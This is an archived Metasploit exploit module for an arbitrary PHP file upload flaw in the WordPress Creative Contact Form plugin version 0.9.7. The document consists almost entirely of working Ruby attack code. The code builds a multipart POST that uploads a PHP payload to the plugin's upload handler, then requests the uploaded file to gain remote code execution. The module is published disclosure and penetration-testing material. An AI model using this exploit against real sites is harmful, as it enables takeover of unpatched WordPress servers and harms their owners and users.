Wordpress Creative Contact Form Upload Vulnerability

2015-04-21 02:06:18

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Creative Contact Form Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress Creative Contact
Form version 0.9.7. The vulnerability allows for arbitrary file upload and remote code execution.
},
'Author' =>
[
'Gianni Angelozzi', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '35057'],
['OSVDB', '113669'],
['WPVDB', '7652']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Creative Contact Form 0.9.7', {}]],
'DisclosureDate' => 'Oct 22 2014',
'DefaultTarget' => 0)
)
end

def check
check_plugin_version_from_readme('sexy-contact-form', '1.0.0')
end

def exploit
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'

data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
post_data = data.to_s

res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'index.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if res
if res.code == 200 && res.body =~ /files|#{php_pagename}/
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'ERROR')
end

print_status("#{peer} - Calling payload...")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'files', php_pagename)
)
end
end

Fixes

No fixes

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